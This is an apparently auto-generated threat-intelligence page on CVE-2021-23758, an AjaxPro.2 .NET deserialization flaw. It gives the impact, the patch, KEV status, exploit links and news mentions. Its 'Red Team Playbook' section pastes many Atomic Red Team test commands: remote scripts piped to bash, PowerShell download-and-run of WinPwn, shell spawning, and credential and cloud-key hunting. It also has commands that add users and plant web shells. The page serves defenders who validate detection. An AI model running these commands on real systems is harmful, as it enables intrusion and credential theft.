CVE-2021-23758
Overview
This vulnerability is a deserialization of untrusted data issue in the ajaxpro.2 package, affecting all versions. The root cause lies in the unsafe deserialization of arbitrary .NET objects without proper validation or integrity checks. The affected component is the deserialization mechanism within ajaxpro.2, which processes incoming serialized data streams.
Vulnerability Description
All versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected system by sending specially crafted serialized data. No user interaction or prior privileges are required, and the attack can be performed over the network. Successful exploitation may lead to full system compromise, data theft, or service disruption. The CVSS vector indicates high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) with network attack vector (AV:N) and no privileges or user interaction needed (PR:N/UI:N).
Solution
Users should upgrade to a fixed version of ajaxpro.2 as provided in the security advisory referenced by Snyk (SNYK-DOTNET-AJAXPRO2-1925971). The patch addresses unsafe deserialization by implementing input validation and restricting deserialization to safe types. Refer to the commit at https://github.com/michaelschwarz/Ajax.NET-Professional/commit/b0e63be5f0bb20dfce507cb8a1a9568f6e73de57 for the exact code changes. No official vendor advisory ID is available, but applying this patch or equivalent mitigations is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ajaxpro.2 Project | Ajaxpro.2 | All |
cpe:2.3:a:ajaxpro.2_project:ajaxpro.2:*:*:*:*:*:.net:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
AjaxPro Deserialization Remote Code Execution
exploits/windows/http/ajaxpro_deserialization_rce
|
Hans-Martin Münch (MOGWAI LABS), Jemmy Wang | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
numanturle/CVE-2021-23758-POC
|
numanturle | 18 | 6 | 2021-12-15 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
11 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Active exploitation confirmed with 25 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (20)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @shortinfo.bsky.social 2026-09-14 08:07 UTCOldest CVEs in this batch: CVE-2015-3246 (Red Hat), CVE-2015-5287 (Red Hat), CVE-2019-1068 (Microsoft), CVE-2021-23758 (Ajax.NET Professional).Open source
-
news msspalert.com 2026-09-11 07:00 UTCAI-powered threat actor UAT-10147 targets web servers for fraud and data theft - MSSP AlertOpen source
-
advisory recordedfuture.com 2026-09-08 07:00 UTCAugust 2026 CVE Landscape - Recorded FutureOpen source
-
social bsky.app @shortinfo.bsky.social 2026-09-07 08:07 UTCOldest CVEs in this batch: CVE-2015-3246 (Red Hat), CVE-2015-5287 (Red Hat), CVE-2019-1068 (Microsoft), CVE-2021-23758 (Ajax.NET Professional).Open source
-
social bsky.app @shortinfo.bsky.social 2026-08-31 08:06 UTCOldest CVEs in this batch: CVE-2015-3246 (Red Hat), CVE-2015-5287 (Red Hat), CVE-2019-1068 (Microsoft), CVE-2021-23758 (Ajax.NET Professional).Open source
-
news securityaffairs.com 2026-08-28 07:00 UTCU.S. CISA adds Red Hat, Linux Kernel, Ajax.NET Professional, Microsoft SQL Server, and Citrix NetScaler fla... - Security AffairsOpen source
-
social bsky.app @thecybermind.co 2026-08-27 07:36 UTC🚨 Executive Risk Brief: CVE-2021-23758 targets Ajax.NET Professional via unsafe deserialization. Leaders must review SBOM asset visibility, regulatory compliance, and financial risk mitigation strategies. Read the full CSUITE brief: https:…Open source
-
news helpnetsecurity.com 2026-08-27 07:00 UTCPreviously patched Citrix NetScaler flaw exploited in the wild (CVE-2026-8452) - Help Net SecurityOpen source
-
news thehackernews.com 2026-08-27 07:00 UTCCISA Adds Six Exploited Flaws to KEV, Including NetScaler, Linux, and SQL Server Bugs - The Hacker NewsOpen source
-
news infosecurity-magazine.com 2026-08-27 07:00 UTCCISA Warns of Six Exploited Flaws in Microsoft, Linux, Red Hat and Citrix Products - Infosecurity MagazineOpen source
-
social bsky.app @threatspotai.bsky.social 2026-08-27 06:30 UTC🚨 CISA KEV Alert CVE-2021-23758: ⚠️ CVE-2021-23758: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 89.1% Actively exploited Read the full alert: https://threatspot.ai/alerts/2021-23758-all-version…Open source
-
social bsky.app @csirts.com 2026-08-26 23:35 UTC🚨 Added to CISA KEV — actively exploited: CVE-2021-23758: Ajax.NET Professional Deserialization of Untrusted Data Vulnerability https://www.csirts.com/cve/CVE-2021-23758Open source
-
social bsky.app @secdb.bsky.social 2026-08-26 22:17 UTC🚨 CISA Adds 6 KEV to Catalog 🔴 CVE-2015-3246 Red Hat Libuser 🟠 CVE-2015-5287 Red Hat Automatic Bug Reporting Tool 🔴 CVE-2019-1068 MS SQL Server 🔴 CVE-2021-23758 Ajax.NET Professional 🔴 CVE-2022-0995 Linux Kernel 🔴 CVE-2026-8452 Citrix NetS…Open source
-
social bsky.app @vulnsea.com 2026-08-26 19:19 UTC🌊 ABYSSAL · critical with a public exploit CVE-2021-23758: All versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserial… CVSS 8.1 · EPSS 89.1% · CISA KEV https://beta.vulnsea.com/…Open source
-
social bsky.app @cisa-feed-onblue.bsky.social 2026-08-26 18:02 UTCLatest post from CISAOpen source
-
social bsky.app @thecybermind.co 2026-08-26 18:00 UTC🚨 Critical Threat Intel: CVE-2021-23758 impacts Ajax.NET Professional via unsafe object deserialization, enabling remote code execution. Review exploit deployment mechanisms, process telemetry, and active hardening actions. Read the full T…Open source
-
social bsky.app @cvesentinel.bsky.social 2026-08-26 17:41 UTC🛑 CVE-2021-23758 Ajax.NET Professional Ajax.NET Professional CVSS 8.1 / EPSS 89% / KEV: No TL;DR: All versions of package ajaxpro.2 are vulnerable to Deserializ… https://cvesentinel.com/report/CVE-2021-23758?utm_source=bluesky&utm_medium=s…Open source
-
news ithome.com.tw 2026-08-26 17:00 UTCCVE-2021-23758Open source
-
news thehackernews.com 2026-08-24 07:00 UTCUAT-10147 Uses AI to Scale Server Attacks, Deploys SPECTRE With EDR Bypass and Linux Rootkit - The Hacker NewsOpen source
-
code github.com numanturle 2021-12-15 15:40 UTCnumanturle/CVE-2021-23758-POCOpen source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-23758 |
| snyk.io |
GitHub CVE
|
https://snyk.io/vuln/SNYK-DOTNET-AJAXPRO2-1925971 |
| github.com |
GitHub CVE
|
https://github.com/michaelschwarz/Ajax.NET-Professional/commit/b0e63be5f0bb20dfce507cb8a1a9568f6e73de57 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175677/AjaxPro-Deserialization-Remote-Code-Execution.html |
| blog.talosintelligence.com |
NVD API
Exploit
Third Party Advisory
|
https://blog.talosintelligence.com/uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-post-compromise-operations/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-23758 |